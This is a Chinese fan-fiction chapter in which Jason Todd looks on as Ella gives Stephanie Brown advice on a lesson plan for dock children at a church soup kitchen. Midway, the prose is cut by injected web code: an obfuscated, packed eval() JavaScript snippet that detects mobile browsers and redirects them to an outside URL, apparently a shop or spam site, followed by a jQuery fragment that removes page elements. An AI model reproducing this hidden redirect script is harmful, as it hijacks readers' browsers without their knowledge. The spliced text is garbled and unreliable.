杰森·陶德在下午发饼的时候来了。


    今天的救济比往常多一碗熬好的汤，大铁桶架在临时搭起的炭炉上，热气混着骨头和蔬菜的香气在教堂门口弥漫。几个孩子正踮着脚给排队的人分饼，动作已经相当熟练。


    舀汤的人是他——红头罩安插在码头常驻的工人之一，叫安德烈。壮实的乌克兰裔男人，左耳缺了一小块，是早年帮派斗殴留下的。现在他穿着洗得发白的工装围裙，手腕沉稳，每一勺都盛得恰到好处，不多不少刚好盖住碗底。见到杰森，安德烈只是极轻微地抬了下眼皮，舀汤的动作节奏没变。两人隔着蒸腾的热气轻轻点头，算是招呼。


    队伍排得不长，但秩序井然。还有几个自发维护秩序的——都是工人内部推选出来的小组长，胳膊上套着用红色袖标。他们站在队伍两侧，偶尔低声提醒：“别挤，都有。”


    艾拉坐在他常坐的窗台那边，面前摊着几页纸。午后的阳光从彩窗破碎的缺口斜射进来，刚好照亮她半边侧脸和摊开的纸页。史蒂芬妮·布朗坐在她旁边那张稍矮的椅子上，背脊挺得笔直，像等待审判。她今天穿了件颜色更暗的毛衣，金发在脑后扎成简单的马尾，几缕碎发落在额前。手指无意识地绞着毛衣下摆，指节微微发白。她脸上努力维持着平静，但眼神里的不安还是藏不住。


    杰森顺手拿了两块烤饼，然后接过安德烈递来的汤碗，没喝，只是端着朝窗边走去。碗壁传来的温度刚好，不烫手，能持续握在掌心。他走得不快，脚步声落在木地板上，轻重节奏稳定。


    他在考察。


    用红头罩二把手的身份考察社区运转，用“杰森·里德”的身份考察新来的教师是否靠谱——也用某个在滴水兽背上蹲了太多夜的人那套标准，衡量这个金发女孩的成色。


    那份教学计划是周三下午交过来的。当时艾拉正要去分发救济，几个眼尖的孩子立刻围上来，小手抢过装饼的篮子——“艾拉姐姐，我们来！”他们仰着脸，眼睛里闪着跃跃欲试的光。艾拉没坚持，只是蹲下身，帮最小的那个男孩把过长的袖子卷好，轻声叮嘱：“小心烫。”


    然后她接过史蒂芬妮递来的文件夹。牛皮纸封面，边缘平整。打开，里面是手写的教案，字迹清秀工整，但笔画清晰有力。课程目标、阶段划分、互动游戏设计、甚至针对不同年龄孩子的备用方案……条理清晰，考虑周到。看得出花了心思，不止是应付。


    艾拉一页页翻过去，速度不快。阳光在她低垂的眼睫上投下细小的阴影。教堂另一头，孩子们稚嫩的报数声和领取者的低声道谢混在一起，像遥远的背景音。


    最后，她合上文件夹，抬起眼。


    史蒂芬妮的呼吸几不可察地屏住了半拍。


    “很好。”艾拉将文件夹递回去，指尖在封面上停顿了一瞬，“尤其是这个部分——”她指向其中一页，“用他们熟悉的东西引入字母。码头、起重机、船锚、海浪……很聪明。孩子学得快，往往是因为他们认出了自己的世界。”


    史蒂芬妮的肩膀微微松弛下来，但很快又绷紧——因为艾拉紧接着开口：“不过，我有个建议。”


    “您说。”史蒂芬妮立刻坐直，从毛衣口袋里掏出支铅笔。


    她指向教案里“课堂纪律”那一栏：“这里写的‘保持安静，举手发言’——可能需要调整。”


    她顿了顿，目光扫过教堂另一头那些正在发饼的孩子。


    “在东区，很多孩子没上过正式的学。他们习惯的环境是……吵闹的，需要争抢的，随时可能被打断的。”艾拉转回视线，“太严格的安静规则，可能会让他们紧张，或者干脆沉默。不如换成更具体的、他们能做到的：‘说话时看着对方的眼睛’、‘别人说话时不插嘴’、‘想发言时，可以举手，也可以轻轻敲一下桌子’。”


    她看着史蒂芬妮的眼睛：“关键不是‘安静’，是‘尊重’。而尊重，是从‘被看见’开始的。”


    史蒂芬妮的笔尖停在纸面上。她盯着那几行字，睫毛快速颤动了几下，然后用力点头，在边缘空白处飞快写下几个词：眼神接触、不打断、敲桌信号。


    “还有这里，”艾拉的手指移到另一个段落，“‘错误纠正’部分。你写‘温和指出，鼓励重试’——这没错。但可能需要再加一句：‘如果孩子因为犯错而退缩，告诉他，码头上最厉害的吊车司机，也把集装箱撞凹过。’”


    她嘴角极轻微地弯了一下：“他们需要知道，犯错不是弱点，是学习的一部分。”


    史蒂芬妮停下了笔。她抬起头，看向艾拉。午后的光正好移过来，照亮艾拉侧脸柔和的轮廓，也照亮她眼底那片过于平静的蓝色。有那么一瞬间，史蒂芬妮想起了仓库那夜，月光下艾拉捻起糖霜放入口中的样子——同样的平静，却让她喉咙发紧。


    “我明白了。”史蒂芬妮的声音有些哑。她低下头，快速在教案边缘补注，字迹比之前潦草了些。


    艾拉没再说话。她转过头，望向窗外。码头方向，起重机的巨臂正在缓慢转动，剪影映在灰白的天幕上，像某种笨拙而坚定的手势。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000146|193601||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    杰森就是在这时走过来的，他自然地在艾拉另一侧坐下，递过一个饼。


    艾拉接过，撕下一小块，放进嘴里慢慢嚼。


    杰森看向史蒂芬妮，目光在她手里的教案上停了停，又移回艾拉脸上。“下午四点？”他咬了口饼，声音有点含糊。


    “嗯。”艾拉应了一声。


    “地点？”


    “教堂内。光线好些。”


    杰森点点头，没再问。他吃得很快，几口就解决了半个饼，然后从连帽衫口袋里掏出瓶水，拧开灌了一大口。


    史蒂芬妮看着他们之间那种无需言语的默契——艾拉小口吃着饼，杰森喝水，两人都望着窗外同一个方向，仿佛共享着某种看不见的东西。她捏着铅笔的手指收紧了些。


    “别紧张。”艾拉忽然开口，声音依旧很轻，却让史蒂芬妮猛地回过神。


    艾拉转回头，看向她。那双蓝色的眼睛平静地映出史蒂芬妮有些局促的脸。


    “课程下午四点开始，就在教堂内。”艾拉重复了一遍，“我会在孩子们视野范围内，但不会干涉你上课。你只需要——”她顿了顿，似乎在寻找最准确的词，“只需要认真地，完整地，把你想教的东西传递出去。”


    她拿起桌上那杯已经凉了的水，喝了一小口，放下杯子时，杯底与木质窗台发出轻微的磕碰声。


    “剩下的，”艾拉的目光掠过史蒂芬妮，落向教堂另一头那些已经开始收拾桌面的孩子，“交给他们自己。”


    远处，一个发饼的小男孩正努力想把空篮子举过头顶，挂回墙上的挂钩。试了两次，没够着。旁边交班过来的卡尔文伸手，轻松地把篮子挂了上去，然后揉了揉男孩的头发。男孩仰起脸笑，缺了颗门牙。


    杰森吃完最后一口饼，把油纸团成一团，捏在手里。他站起身，拍了拍裤子上不存在的灰。


    “走了。”他是对艾拉说的，但目光在史蒂芬妮脸上扫过。


    他转身朝教堂后门走去，脚步不疾不徐，连帽衫的阴影吞没了他的背影。


    史蒂芬妮看着手里的教案，那些清秀的字迹此刻仿佛有了重量。她深吸一口气，把铅笔插回笔管，旋紧。


    窗外的光又移动了一些，正好落在她写下的那行新注脚上：


    “犯错不是弱点。是学习。是活着。”


    她合上文件夹，抱在胸前。


    艾拉依旧望着窗外。她手里的饼还剩一小半，但她没有再吃。只是握着，让残留的体温透过油纸，缓慢地渗进冰凉的指尖。